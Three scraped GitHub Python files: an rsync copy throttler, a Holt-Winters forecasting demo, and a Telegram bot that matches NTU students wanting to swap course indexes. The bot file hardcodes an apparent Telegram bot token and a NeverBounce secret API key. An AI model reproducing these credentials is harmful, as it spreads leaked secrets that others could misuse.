+{"seq_id":"74259429049","text":"from __future__ import print_function, division, absolute_import, unicode_literals\n\nimport os\nimport shutil\nimport distutils.dir_util\nimport time\nimport random\nimport datetime\nimport subprocess\nimport shlex\nfrom . import utils_logging\n\nlogger = utils_logging.get_logger(__file__)\n\n\nSEMAPHORE_DIRECTORY = os.path.expanduser('~/copy_guardian_semaphores')\n\n\nif not os.path.isdir(SEMAPHORE_DIRECTORY):\n    try:\n        os.mkdir(SEMAPHORE_DIRECTORY)\n    except OSError:\n        logger.warning('Semaphore directory does not exist, but it could not be created either!')\n\n\nclass NoFileException(Exception):\n    pass\n\n\nclass CopyGuardian(object):\n\n    def __init__(self, n_max_connect, n_max_attempts_remote, time_between_attempts, use_copyfile=False):\n        self.n_max_connect = n_max_connect\n        self.n_max_attempts_remote = n_max_attempts_remote\n        self.time_between_attempts = time_between_attempts\n        self.use_copyfile = use_copyfile\n\n    def __call__(self, sources, destination, rsync_args='', force=False):\n\n        # Ensure correct type\n        if str(sources) == sources:\n            sources = [sources]\n\n        if str(destination) != destination:\n            raise ValueError('Destination {} not supported. Multiple destinations for multiple sources not '\n                             'implemented.'.format(destination))\n\n        # Ensure that rsync and local copy behave equally\n        for i, source in enumerate(sources):\n            if os.path.isdir(source) and not source.endswith('/'):\n                sources[i] += '/'\n\n        if destination.endswith('/'):\n            destination = destination[:-1]\n\n        # Check if destination is remote\n        if is_remote(destination):\n\n            # Check for remote sources\n            for source in sources:\n                if is_remote(source):\n                    raise IOError('Cannot copy remote source {} to remote destination {}'.format(source, destination))\n\n            self._copy_remote(sources, destination, rsync_args, force)\n\n        else:\n            # Split into local and remote sources\n            sources_remote = []\n\n            for source in sources:\n\n                # Remote source\n                if is_remote(source):\n                    sources_remote.append(source)\n\n                # Local source\n                else:\n                    self._copy_local(source, destination)\n\n            # Now handle remaining (remote) tasks\n            if len(sources_remote) > 0:\n                self._copy_remote(sources_remote, destination, rsync_args, force)\n\n    def _copy_local(self, source, destination):\n\n        logger.info('Copying locally: {} -> {}'.format(source, destination))\n\n        if os.path.isdir(source):\n            distutils.dir_util.copy_tree(source, destination)\n\n        elif os.path.isdir(destination) or not self.use_copyfile:\n            shutil.copy(source, destination)\n\n        else:\n            shutil.copyfile(source, destination)\n\n    def _copy_remote(self, sources, destination, rsync_args='', force=False):\n\n        n_attempts = 0\n\n        sources_split = self._split_sources_by_host(sources)\n\n        while n_attempts < self.n_max_attempts_remote:\n\n            if force:\n                logger.warning('Not waiting for sync allowance, forcing download')\n\n            else:\n                self._wait_for_allowance()\n\n            path_semaphore = self._create_semaphore()\n\n            copied = True\n            files_exist = True\n\n            for srcs in sources_split:\n                # for src in srcs:\n                    # copied &= self._call_rsync([src], destination)\n                rsync_result = self._call_rsync(srcs, destination, rsync_args)\n\n                copied &= rsync_result.returncode==0\n\n                if \"No such file or directory\" in rsync_result.stderr:\n                    os.remove(path_semaphore)\n                    logger.debug(f'removed semaphore {path_semaphore}')\n                    raise NoFileException(f'Rsync failed, no such file or directory: {rsync_result.stderr}')\n\n            try:\n                os.remove(path_semaphore)\n                logger.debug(f'removed semaphore {path_semaphore}')\n\n            except Exception as err:\n                logger.warning(f'failed to remove semaphore {path_semaphore}, err={str(err)}')\n\n            if copied:\n                break\n\n            else:\n                n_attempts += 1\n                time.sleep(self.time_between_attempts)\n                if n_attempts*self.time_between_attempts>(5 * 60):\n                    logger.warning('waiting for free semaphore for long time, n_attempts={}, time={}s'.\n                                   format(n_attempts, n_attempts*self.time_between_attempts))\n\n        else:\n            raise IOError(\"Failed to rsync {} -> {} \".format(', '.join(sources), destination))\n\n    def _wait_for_allowance(self):\n\n        while True:\n\n            time.sleep(1 + random.random())\n\n            file_list = os.listdir(SEMAPHORE_DIRECTORY)\n            file_list = list(filter(lambda filename: not filename.startswith('.'), file_list))\n\n            if len(file_list) < self.n_max_connect:\n                return\n\n    def _create_semaphore(self):\n        filename = '{}_{}'.format(os.getpid(), datetime.datetime.now()).replace(' ', '_')\n        filepath = os.path.join(SEMAPHORE_DIRECTORY, filename)\n        open(filepath, \"w\").close()\n        logger.debug(f'created semaphore {filepath}')\n        return filepath\n\n    def _call_rsync(self, sources, destination, rsync_args=''):\n\n        logger.debug('Rsyncing: {} -> {}'.format(', '.join(sources), destination))\n\n        cmd = 'rsync -av {} {} {}'.format(rsync_args, ' '.join(sources), destination)\n\n        logger.info(cmd)\n\n        # try:\n        #     # subprocess.check_call(shlex.split(cmd))\n              # return True\n        # except subprocess.CalledProcessError:\n        #     return False\n\n        process_result = subprocess.run(shlex.split(cmd), capture_output=True, text=True)\n\n\n        return process_result\n\n\n    def _split_sources_by_host(self, sources):\n\n        host_dict = {}\n\n        for s in sources:\n\n            host = s.split(':/')[0]\n\n            if host in host_dict:\n                host_dict[host].append(s)\n\n            else:\n                host_dict[host] = [s]\n        \n        return host_dict.values()\n\n\ndef is_remote(path):\n    return '@' in path and ':/' in path\n","repo_name":"CosmoGridCollab/cosmogridv11","sub_path":"cosmogridv11/copy_guardian.py","file_name":"copy_guardian.py","file_ext":"py","file_size_in_byte":6380,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"8996429897","text":"import numpy as np, pandas as pd\nimport matplotlib.pyplot as plt, pylab as py\nfrom statsmodels.tsa.api import ExponentialSmoothing\n#from statsmodels.tsa.statespace.exponential_smoothing import ExponentialSmoothing\n\ndef sample_seasonal_random_walk(realisations, m):\n    np.random.seed(1234)\n    errors = np.random.normal(0, 1, realisations)\n    Xt = errors[:m]\n    for t in range(m,realisations):\n        Xt = np.append(Xt, Xt[t-m] + errors[t])\n    return Xt\n\ndef plot(realisations, forecasts):\n    f = plt.figure(1)\n    plt.title(\"Holt-Winters' forecasts\")\n    plt.xlabel('Period ($t$)')\n    first, last = next(x for x, val in enumerate(forecasts) if ~np.isnan(val)), len(forecasts)-1\n    plt.axvspan(first, last, alpha=0.2, color='blue')\n    plt.plot(realisations, label=\"Actual values ($x_t$)\")\n    plt.plot(forecasts, \"g\", label=\"Holt-Winters' forecasts ($\\widehat{X}_t$)\")\n    plt.legend(loc=\"upper left\")\n    plt.grid(True)\n    f.show()\n\ndef plot_components(fit):\n    f = plt.figure(1)\n    pd.DataFrame(np.c_[fit.level,fit.trend,fit.season]).rename(\n        columns={0:'level',1:'trend',2:'seasonal'}).plot(subplots=True)\n    plt.xlabel('Period ($t$)')    \n    f.show()\n\n# uncomment from statsmodels.tsa.api import ExponentialSmoothing\ndef holt_winters():\n    N, t, m = 100, 80, 4\n    realisations = pd.Series(list(sample_seasonal_random_walk(N,m)), range(N))\n    mod = ExponentialSmoothing(realisations[:t+1], seasonal_periods=4, trend='add', seasonal='add').fit(optimized=True, method=\"Powell\")\n    params = ['smoothing_level', 'smoothing_trend', 'smoothing_seasonal', 'initial_level', 'initial_trend']\n    results=pd.DataFrame(index=[\"alpha\",\"beta\",\"gamma\",\"l_0\",\"b_0\",\"SSE\"] ,columns=[\"Holt-Winters'\"])\n    results[\"Holt-Winters'\"] = [mod.params[p] for p in params] + [mod.sse]\n    print(results)\n    forecasts = mod.forecast(N-(t+1)).rename(r'$\\alpha=0.5$ and $\\beta=0.5$')\n    plot(realisations, pd.Series(np.nan, range(t+1)).append(forecasts))\n    plot_components(mod)\n    plt.savefig('/Users/gwren/Downloads/40_holt_winters_level_slope.svg', format='svg')\n    py.show()\n\ndef plot_ci(realisations, forecasts, forecasts_ci):\n    f = plt.figure(1)\n    plt.title(\"Holt-Winters' forecasts\\n State Space Model\")\n    plt.xlabel('Period ($t$)')\n    first, last = next(x for x, val in enumerate(forecasts) if ~np.isnan(val)), len(forecasts)-1\n    plt.axvspan(first, last, alpha=0.2, color='blue')\n    plt.plot(realisations, label=\"Actual values ($x_t$)\")\n    plt.plot(forecasts, \"g\", label=\"Holt-Winters' forecasts ($\\widehat{X}_t$)\")\n    t = next(x for x, val in enumerate(forecasts) if ~np.isnan(val)) - 1\n    forecast_index = np.arange(t+1, t+1 + len(forecasts_ci))\n    plt.fill_between(forecast_index, forecasts_ci.iloc[:, 0], forecasts_ci.iloc[:, 1], color='r', alpha=0.2)\n    plt.legend(loc=\"upper left\")\n    plt.grid(True)\n    plt.savefig('/Users/gwren/Downloads/41_holt_winters_forecasts_pi.svg', format='svg')\n    f.show()\n\n# uncomment from statsmodels.tsa.statespace.exponential_smoothing import ExponentialSmoothing\ndef holt_winters_ci():\n    N, t, m = 100, 80, 4\n    realisations = pd.Series(list(sample_seasonal_random_walk(N,m)), range(N))\n    mod = ExponentialSmoothing(realisations[:t+1], trend=True, seasonal=m, initialization_method='estimated').fit(disp=False)\n    print(mod.summary())\n    forecasts = mod.get_forecast(N-(t+1))\n    forecasts_ci = forecasts.conf_int(alpha=0.05)\n    plot_ci(realisations, pd.Series(np.nan, range(t+1)).append(forecasts.predicted_mean), forecasts_ci)\n    py.show()\n\nholt_winters()\n# holt_winters_ci()","repo_name":"gwr3n/inventoryanalytics","sub_path":"inventoryanalytics/forecasting/holt_winters.py","file_name":"holt_winters.py","file_ext":"py","file_size_in_byte":3554,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"77"}
+{"seq_id":"74063495929","text":"import telepot\nfrom telepot.loop import MessageLoop\nfrom telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton\n\nimport time\nimport urllib\nimport urllib.request\nimport csv\nimport random\nimport threading\n\nimport neverbounce_sdk\nfrom bs4 import BeautifulSoup\n\nimport validation\nimport sendemail\n\n#dicts to store data of all active users\nactiveUserStep = {}\nactiveUserMod = {}\nactiveUserMatriNo = {}\nactiveUserEmail = {}\nactiveUserOldIdx = {}\nactiveUserNewIdx = {}\nactiveUserModData = {}\nactiveUserEmailCheck = {}\n\nthreads = [] #thread\nstickers = [\"CAADBQADWwEAAnqYVQOmAwXO7IIhKwI\", \"CAADBQADJRMAArCYGwEh5ySnPuTfvwI\", \"CAADBQAD6QADbqRAAjejGqxc_D6QAg\"]\n\ndef handle(msg):\n    #Extracting telegram user's infromation\n    content_type, chat_type, chat_id = telepot.glance(msg)\n    print(content_type, chat_type, chat_id)\n    try:\n        command = msg['text']\n        print(command)\n    except:\n        bot.sendSticker(chat_id, \"CAADBQAD2AADbqRAAkRVY9vVk6IfAg\")\n        bot.sendMessage(chat_id, \"This bot only accepts text as inputs!\")\n        command = \"\"\n    print(activeUserStep)\n\n    #Initialize variables of the specific user if existing variables are not initialize\n    if not chat_id in activeUserStep:\n        activeUserStep[chat_id] = 0.0\n        activeUserMatriNo[chat_id] = None\n        activeUserEmail[chat_id] = None\n        activeUserMod[chat_id] = None\n        activeUserOldIdx[chat_id] = None\n        activeUserNewIdx[chat_id] = None\n        activeUserModData[chat_id] = None\n        activeUserEmailCheck[chat_id] = None\n\n    #List table of commands\n    if command == \"/start\":\n        sendMsg = \"**Welcome to NTU Module Index Swapping Bot.**\\n\" \\\n                  \"[/1]. List Module Indexes and details\\n\"\"\" \\\n                  \"[/2]. Register for Index Swapping\\n\" \\\n                  \"[/3]. View your current Index Swapping status\\n\" \\\n                  \"[/4]. Cancel registered Index Swapping\\n\" \\\n                  \"[/quit]. Quit\"\n\n        bot.sendMessage(chat_id,sendMsg)\n        activeUserStep[chat_id] = 2.0\n\n    #Quit bot\n    elif command == \"/quit\":\n        #Discard all existing data specific to the user\n        destroyUserSession(chat_id)\n        print(activeUserStep)\n\n    #Capture Course Code\n    elif activeUserStep[chat_id] == 2.0 and command == \"/1\":\n        sendMsg = 'Please input your Course Code (E.g. CZ1003)'\n        bot.sendMessage(chat_id, sendMsg)\n        activeUserStep[chat_id] = 2.1\n\n    #List Module Indexes and details\n    elif activeUserStep[chat_id] == 2.1:\n        listModIdx(command,chat_id)\n\n    #Capture user Matriculation Number\n    elif activeUserStep[chat_id] == 2.0 and command == \"/2\":\n        sendMsg = 'Please input your Matriculation Number'\n        bot.sendMessage(chat_id, sendMsg)\n        activeUserStep[chat_id] = 2.2\n\n    #Validate Matric and Capture user Email\n    elif activeUserStep[chat_id] == 2.2:\n        try:\n            #Validate User Matric Number\n            if validation.matricNumberCheck(command) == False: raise ValueError()\n            #otherwise, store the matric number\n            activeUserMatriNo[chat_id] = command\n            #ask for email\n            sendMsg = \"Please input your preferred Email address:\\n [Please use NTU or gmail addresses as hotmail\\'s overzealous filters like to redirect our messages to the Junk folder :(]\"\n            bot.sendMessage(chat_id, sendMsg)\n            activeUserStep[chat_id] = 2.3\n        except:\n            bot.sendMessage(chat_id, \"Invalid Matric Number! Please try again.\")\n\n    #Validate email and Capture user course code\n    elif activeUserStep[chat_id] == 2.3:\n        try:\n            #client side syntax check\n            if validation.emailStaticCheck(command) == False: raise ValueError()\n            #cancerous bit - run API call as thread\n            t = threading.Thread(target=neverbounceVerify, args=(command, chat_id))\n            threads.append(t)\n            t.start()\n            #Store User Email first - catch bad emails once more later\n            activeUserEmail[chat_id] = command\n            sendMsg = 'Please input your Course Code (E.g. CZ1003)'\n            bot.sendMessage(chat_id, sendMsg)\n            activeUserStep[chat_id] = 2.4\n        except:\n            bot.sendMessage(chat_id, \"Invalid email address! please try again.\")\n\n    #Output a list of indexes as inline buttons. rest of swapping process is handled by callback button handler\n    elif activeUserStep[chat_id] == 2.4:\n        listOldIdx(command,chat_id)\n\n    #List user current Index Swapping status\n    elif activeUserStep[chat_id] == 2.0 and command == \"/3\":\n        sendMsg = listCurrent(chat_id, False)\n        if sendMsg != \"\":\n            bot.sendMessage(chat_id, sendMsg)\n        destroyUserSession(chat_id) # kill the session regardless since we're just displaying\n\n    #List user current Index Swapping status + prompt user which one they will like to remove\n    elif activeUserStep[chat_id] == 2.0 and command == \"/4\":\n        activeUserStep[chat_id] = 2.5\n        sendMsg = listCurrent(chat_id, True)\n        if sendMsg==\"\": #nothing is returned i.e. user has no swaps\n            destroyUserSession(chat_id)\n        else:\n            bot.sendMessage(chat_id, sendMsg)\n\n    #Remove registration\n    elif activeUserStep[chat_id] == 2.5:\n        removeReg(command,chat_id)\n\n    #Notify user of wrong input\n    else:\n        bot.sendMessage(chat_id,\"Wrong Input!\")\n\ndef callback(msg):\n    query_id, from_id, query_data = telepot.glance(msg, flavor='callback_query')\n    # for private chats, from_id == chat_id\n\n    print('Callback Query:', query_id, from_id, query_data)\n    query_data = query_data.split(\";\")\n\n    if query_data[0] == 'old':  # user has selected old index\n        bot.editMessageText(telepot.message_identifier(msg['message']),\n                            \"You have selected Index no. \" + query_data[1])\n        activeUserOldIdx[from_id] = query_data[1]\n        listNewIdx(query_data[1], from_id)\n\n    elif query_data[0] == 'new':  # user has selected new index\n        bot.editMessageText(telepot.message_identifier(msg['message']),\n                            \"You have selected Index no. \" + query_data[1] + \" to swap into.\")\n        activeUserNewIdx[from_id] = query_data[1]\n        bot.sendMessage(from_id, \"Processing...\")\n        # if email is still validating (I hope not), we stall\n        threads[0].join()\n        if activeUserEmailCheck[from_id] == False:\n            bot.sendMessage(from_id, \"Naughty naughty! Further validation has found that your email \" + \\\n                            \"address is in fact invalid. This bot will now quit.\")\n            bot.sendSticker(from_id, \"CAADBQADzgADbqRAAn_r6fO8RQf7Ag\")\n        else:\n            sendMsg = \"Your request has been entered into our database.\" + \\\n                      \".\\nWe will notify you once we have found you a match.\"\n            bot.sendSticker(from_id, stickers[random.randrange(0, 3)])\n            bot.sendMessage(from_id, sendMsg)\n            # database Insert Data\n            matchSwapIndex(from_id)\n        # Destroy User Session\n        destroyUserSession(from_id)\n\n    elif query_data[0] == 'mod':  # user wants to see session details\n        sendMsg = listModDataAsText(activeUserModData[from_id])\n        inline_kb = [\n            [(InlineKeyboardButton(text=\"Done? Click here to collapse this message\", callback_data=\"del;0\"))]]\n        keyboard = InlineKeyboardMarkup(inline_keyboard=inline_kb)\n        bot.sendMessage(from_id, sendMsg, 'markdown', reply_markup=keyboard)\n\n    elif query_data[0] == 'del':  # session details message is collapsible\n        bot.deleteMessage(telepot.message_identifier(msg['message']))\n\n    bot.answerCallbackQuery(query_id)\n\n#Discard all existing data specific to the user\ndef destroyUserSession(chat_id):\n    bot.sendMessage(chat_id, \"Thanks for using this Bot. To start the Bot again input /start.\\nHave a nice day =D\")\n    del activeUserStep[chat_id]\n    del activeUserOldIdx[chat_id]\n    del activeUserNewIdx[chat_id]\n    del activeUserMod[chat_id]\n    del activeUserMatriNo[chat_id]\n    del activeUserEmail[chat_id]\n    del activeUserModData[chat_id]\n    del activeUserEmailCheck[chat_id]\n\n#List user current Index Swapping status\ndef listCurrent(chat_id, commandRemove_bool):\n    #Open and read csv file\n    with open('NTUModSwap.csv', 'r') as fp:\n        reader = csv.reader(fp)\n        data = list(reader)\n\n    listCurrentStr = \"\"\n    #Count the total number of unique registration by the user\n    count = 0\n\n    #Make Serial number a /command if user selected Option 4 (/4).\n    if commandRemove_bool:\n        commandRemoveStr = \"/\"\n    else:\n        commandRemoveStr = \"\"\n\n    for i in range(1,len(data)):\n        #Extarct registration information if tuple from data[] is registered by user and it is not matched.\n        if str(chat_id) == data[i][0] and data[i][6] == \"False\":\n            #Calculate user waiting list queue\n            waitQueue = checkWaitList(data,data[i][4], i)\n            listCurrentStr +=  commandRemoveStr +str(count+1) + \" ========\\n\"\\\n                              \"MOD CODE: \" + data[i][3] +\\\n                             \"\\nCURRENT INDEX: \" + data[i][4] +\\\n                             \"\\nPREFERRED INDEX: \" + data[i][5] +\\\n                             \"\\nYour Current Waitlist Queue: \" + str(waitQueue) + \"\\n\\n\"\n            count += 1\n\n    #Output string if user selected Option 4 (/4).\n    if commandRemove_bool:\n        listCurrentStr += \"==========\\n\" \\\n                          \"Input /<Serial Number> (E.g. /1 ) to remove your desired registration.\"\n\n    # Output string if there is 0 unique registration by the user. We send the message here\n    # as we want an easy way (an empty return value) to distinguish the 'no swaps' case\n    if count == 0:\n        listCurrentStr = \"\"\n        bot.sendMessage(chat_id,\"You do not have any Index Swap registered.\")\n\n    return listCurrentStr\n\n#Remove registration by serial number\ndef removeReg(serialNo_Str, chat_id):\n    # Open and read csv file\n    with open('NTUModSwap.csv', 'r') as fp:\n        reader = csv.reader(fp)\n        data = list(reader)\n\n    #True if removal is successful. Else False.\n    successful_bool = False\n    try:\n        #Casting command input (E.g. /1) into int (E.g. 1)\n        serialNo_int = int(serialNo_Str[1:])\n        count = 1\n        for i in range(1, len(data)):\n            #Delete tuple if tuple correspond to serial number specified by user\n            if str(chat_id) == data[i][0] and data[i][6] == \"False\":\n                if count == serialNo_int:\n                    del data[i]\n                    successful_bool = True\n                    break\n                count += 1\n\n        #Insert modified list into csv if removal is successful\n        if successful_bool:\n            with open(\"NTUModSwap.csv\", \"w\", newline=\"\") as fp:\n                db = csv.writer(fp, delimiter=\",\")\n                db.writerows(data)\n\n            #List new current registration by the user\n            sendMsg = listCurrent(chat_id, False)\n            sendMsg += \"Removal is successful!\"\n            bot.sendMessage(chat_id, sendMsg)\n            # Discard all existing data specific to the user\n            destroyUserSession(chat_id)\n        #Output string if there is no removal\n        else:\n            sendMsg = \"Serial Number not found!\"\n            bot.sendMessage(chat_id, sendMsg)\n    #Output string action could not be executed due to invalid command\n    except:\n        sendMsg = \"You have entered an invalid command!\"\n        bot.sendMessage(chat_id, sendMsg)\n\n#Check and return the wait list queue\ndef checkWaitList(data,oldIdx, currentPosition):\n    waitQueue = 1\n    for i in range(1,currentPosition):\n        if oldIdx == data[i][4] and data[i][6] == \"False\":\n            waitQueue += 1\n\n    return waitQueue\n\n#Check for duplication entry by the same user\ndef checkDuplicate(chat_id, data ,newIdx,oldIdx):\n    isDuplicate = False #True if there is duplicate, else False\n    for i in range(1,len(data)):\n        if str(chat_id) == data[i][0] and newIdx == data[i][5] and oldIdx == data[i][4] and data[i][6] == \"False\":\n            isDuplicate = True\n            break\n    return isDuplicate\n\n#Compare current Index and Preferred Index in our database\ndef matchSwapIndex(chat_id):\n    #Open and read csv file\n    with open('NTUModSwap.csv', 'r') as fp:\n        reader = csv.reader(fp)\n        data = list(reader)\n\n    #True if there is a Match for user to swap with. Else False\n    isMatch = False\n    match_chat_id = \"\"\n\n    # True if there is duplicate, else False\n    isDuplicate = checkDuplicate(chat_id, data ,activeUserNewIdx[chat_id],activeUserOldIdx[chat_id])\n\n    if isDuplicate == False:\n        for i in range(1,len(data)):\n            #Compare active user current index and preferred index for every tuple\n            if data[i][6] == \"False\" and activeUserNewIdx[chat_id] == data[i][4] and activeUserOldIdx[chat_id] == data[i][5]:\n                match_chat_id = data[i][0]\n                #Notify User they have a match\n                notifyUsers(chat_id, match_chat_id)\n                # Send email to notify User\n                try:\n                    sendemail.sendMails(bot.getChat(chat_id)['first_name'], activeUserOldIdx[chat_id], activeUserEmail[chat_id], \\\n                                    bot.getChat(match_chat_id)['first_name'], activeUserNewIdx[chat_id], data[i][2], \\\n                                    activeUserModData[chat_id], data[i][3])\n                except:\n                    print(\"Email sending error!\")\n                #Updating database\n                data[i][6] = True\n                #Update Match_Id\n                data[i][7] = str(chat_id)\n                isMatch = True\n                break\n        #Append new tuple\n        with open(\"NTUModSwap.csv\", \"w\", newline=\"\") as fp:\n            db = csv.writer(fp, delimiter=\",\")\n            store_chat_id = str(chat_id)\n            store_Mod = str(activeUserMod[chat_id])\n            store_MatriNo = str(activeUserMatriNo[chat_id]).upper()\n            store_email = str(activeUserEmail[chat_id]).upper()\n            store_OldIdx = str(activeUserOldIdx[chat_id])\n            store_isMatch = str(isMatch)\n            store_NewIdx = str(activeUserNewIdx[chat_id])\n            data.append([store_chat_id, store_MatriNo, store_email, store_Mod, store_OldIdx, store_NewIdx,store_isMatch,match_chat_id])\n            db.writerows(data)\n\n#Notify user of their successful outcomes\ndef notifyUsers(chat_id_user1, chat_id_user2):\n    name_user1 = bot.getChat(chat_id_user1)['first_name']\n    name_user2 = bot.getChat(chat_id_user2)['first_name']\n    sendMsgUser1 = \"<a href='tg://user?id=\" + str(chat_id_user2) + \"'>\" + name_user2 + \"</a> would like to swap INDEX <b>\" + activeUserNewIdx[chat_id_user1] +\\\n                   \"</b> with your INDEX <b>\" + activeUserOldIdx[chat_id_user1] + \"</b> for the Module \" + activeUserMod[chat_id_user1] + \". Click on his name above to chat!\"\n\n    sendMsgUser2 = \"<a href='tg://user?id=\" + str(chat_id_user1) + \"'>\" + name_user1 + \"</a> would like to swap INDEX <b>\" + activeUserOldIdx[chat_id_user1] + \\\n                   \"</b> with your INDEX <b>\" + activeUserNewIdx[chat_id_user1] + \"</b> for the Module \" + activeUserMod[chat_id_user1] + \". Click on his name above to chat!\"\n\n    bot.sendMessage(chat_id_user1, sendMsgUser1, 'html')\n    bot.sendMessage(chat_id_user2, sendMsgUser2, 'html')\n\n#server-side email verification\ndef neverbounceVerify(add, chat_id):\n    api_key = 'secret_e3eb4f28f87667fb9b6bea7b73e5e9d0'\n    client = neverbounce_sdk.client(api_key=api_key)\n    resp = client.single_check(email=add, timeout=7)\n    if resp['result'] == \"invalid\" or resp['result'] == \"disposable\":\n        activeUserEmailCheck[chat_id] = False\n    elif resp['result'] == \"valid\" or resp['result'] == \"catchall\" or resp['result'] == \"unknown\":\n        activeUserEmailCheck[chat_id] = True\n    print(\"Neverbounce result\", resp['result'], activeUserEmailCheck[chat_id])\n    print(activeUserEmailCheck)\n    return\n\n#Output a list of indexes (minus current Index) as inline buttons\ndef listNewIdx(oldIdx, chat_id):\n    try:\n        modIdx = list(activeUserModData[chat_id].keys())\n        modIdx.remove(oldIdx)\n        sendMsg = \"Select the new INDEX you wish to swap with\"\n        markUpKeyboard(modIdx, chat_id, sendMsg, \"new\")\n\n    except:\n        bot.sendMessage(chat_id, \"Wrong INDEX Code!\")\n\n#Output a list of indexes as inline buttons\ndef listOldIdx(modCode,chat_id):\n    try:\n        if len(modCode) == 6:\n            activeUserModData[chat_id] = dataScrape(modCode)\n            modIdx = list(activeUserModData[chat_id].keys())\n            if(len(modIdx)==1):\n                sendMsg = 'This module only has one index! what are you trying to do?!'\n                bot.sendMessage(chat_id, sendMsg)\n                bot.sendSticker(chat_id, \"CAADBQADzgADbqRAAn_r6fO8RQf7Ag\")\n                destroyUserSession(chat_id)\n            else:\n                sendMsg ='What is your current Index for ' + modCode + '?'''\n                markUpKeyboard(modIdx, chat_id, sendMsg, \"old\", modCode)\n                activeUserMod[chat_id] = modCode.upper()\n        else:\n            bot.sendMessage(chat_id, \"Wrong Module Code!\")\n    except:\n        bot.sendMessage(chat_id, \"Wrong Module Code!\")\n\n#Inline Keyboard\ndef markUpKeyboard(choiceList, chat_id, sendMsg, prefix, modCode=\"0\"):\n    inline_kb = []\n    temp = [] #row of buttons\n    if(modCode!=\"0\" and prefix==\"old\"):\n        inline_kb.append([(InlineKeyboardButton(text=\"Unsure? Click to view class schedules\", callback_data=\"mod;0\"))])\n    for i in range(0,len(choiceList)):\n        if i%4 == 0:\n            temp=[]\n            temp.append(InlineKeyboardButton(text=choiceList[i], callback_data=prefix+\";\"+choiceList[i]))\n        elif i%4 == 3 or i == len(choiceList)-1: #4 buttons in 1 row, or last row\n            temp.append(InlineKeyboardButton(text=choiceList[i], callback_data=prefix+\";\"+choiceList[i]))\n            inline_kb.append(temp)\n        else:\n            temp.append(InlineKeyboardButton(text=choiceList[i], callback_data=prefix+\";\"+choiceList[i]))\n\n    keyboard = InlineKeyboardMarkup(inline_keyboard=inline_kb)\n    bot.sendMessage(chat_id, sendMsg, reply_markup=keyboard)\n\n#List Module Indexes and details - ONLY\n#not passing in `data` here as there's no point in storing when the user just wants to see and that's it\ndef listModIdx(modCode, chat_id):\n    try:\n        if len(modCode) == 6:\n            data = dataScrape(modCode)\n            bot.sendMessage(chat_id, listModDataAsText(data), 'markdown')\n            destroyUserSession(chat_id)\n        else:\n            bot.sendMessage(chat_id, \"Wrong Module Code!\")\n    except:\n        bot.sendMessage(chat_id, \"Wrong Module Code!\")\n\ndef listModDataAsText(data):\n    sendMsg = \"\"\n    for idx in data.keys():\n        sendMsg += \"*\" + str(idx) + \":*\\n\"\n        for subj in data[idx]:\n            sendMsg += subj.preview() + \"\\n\"\n    return sendMsg\n\ndef dataScrape(modCode):\n    url = 'https://wish.wis.ntu.edu.sg/webexe/owa/AUS_SCHEDULE.main_display1'\n\n    values = {'acadsem': '2017;1',\n              'r_course_yr': '',\n              'r_subj_code': modCode,\n              'r_search_type': 'F',\n              'boption': 'Search',\n              'staff_access': 'false'}\n    headers = {'Host': 'wish.wis.ntu.edu.sg',\n               'Referer': 'https://wish.wis.ntu.edu.sg/webexe/owa/aus_schedule.main',\n               'Content-Type': 'application/x-www-form-urlencoded',\n               'Connection': 'keep-alive',\n               'Upgrade-Insecure-Requests': '1',\n               'Pragma': 'no-cache',\n               'Cache-Control': 'no-cache'}\n    print(\"Scraping for\", modCode)\n    data = urllib.parse.urlencode(values).encode('ascii')\n    req = urllib.request.Request(url, data, headers)\n    with urllib.request.urlopen(req) as response:\n        the_page = response.read()\n    soup = BeautifulSoup(the_page, \"html5lib\")\n\n    # gets second table (first table is for the course title and prereqs)\n    # and throws away the first row (column headers) => gives us the raw data we need\n    # this will throw an error if module code is invalid as the schedules table won't exist\n    res = soup.find_all(\"table\")[1].find_all('tr')[1:]\n    data = {}\n\n    # processing the html. Subj() object contains the details for 1 session [lec/tut/lab/etc]\n    for row in res:\n        elems = row.find_all('td')\n        if (row.td.b.text != \"\"):  # first column in the row (index number col)\n            temp = row.td.b.text  # gets the index number - we store it as we want it to remain constant as we associate the next rows (tuts/labs) with the index\n            data[temp] = []\n            subj = Subj(elems[1].b.text, elems[2].b.text, elems[3].b.text, elems[4].b.text, elems[5].b.text)\n            data[temp].append(subj)\n        else:\n            subj = Subj(elems[1].b.text, elems[2].b.text, elems[3].b.text, elems[4].b.text, elems[5].b.text)\n            data[temp].append(subj)\n    return data\n\nclass Subj:\n    def __init__(self, initType, initGrp, initDay, initTime, initLoc):\n        self.type = initType\n        self.group = initGrp\n        self.day = initDay\n        self.time = initTime\n        self.loc = initLoc\n    def preview(self):\n        return self.type[:3] + \" (\" + self.group + \") on \" + self.day + \" at \" + self.time\n\n\nbot = telepot.Bot(\"330337414:AAFRnDvcZ4ZW9j7ww-yuKRMFElHkR4VYgX0\")\nMessageLoop(bot, {'chat': handle,\n                  'callback_query': callback}).run_as_thread()\nprint('Listening')\n\nwhile True:\n    time.sleep(10)\n","repo_name":"blxz96/CZ1003-Telegram-Bot","sub_path":"NTUModSwap.py","file_name":"NTUModSwap.py","file_ext":"py","file_size_in_byte":21590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
